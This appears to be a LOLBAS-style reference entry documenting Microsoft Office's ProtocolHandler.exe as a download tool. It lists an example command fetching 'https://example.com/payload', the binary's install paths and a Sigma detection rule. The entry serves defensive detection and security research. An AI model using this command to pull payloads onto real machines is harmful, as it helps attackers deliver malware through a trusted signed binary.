Microsoft Office binary
ProtocolHandler.exe https://example.com/payload
Downloads payload from remote server
It will open the specified URL in the default web browser, which (if the URL points to a file) will often result in the file being downloaded to the user's Downloads folder (without user interaction)
C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\ProtocolHandler.exe, C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\ProtocolHandler.exe, C:\Program Files (x86)\Microsoft Office\Office16\ProtocolHandler.exe, C:\Program Files\Microsoft Office\Office16\ProtocolHandler.exe, C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\ProtocolHandler.exe, C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\ProtocolHandler.exe, C:\Program Files (x86)\Microsoft Office\Office15\ProtocolHandler.exe, C:\Program Files\Microsoft Office\Office15\ProtocolHandler.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_lolbin_protocolhandler_download.yml, IOC: Suspicious Office application Internet/network traffic
Nir Chako (Pentera) (@C_h4ck_0)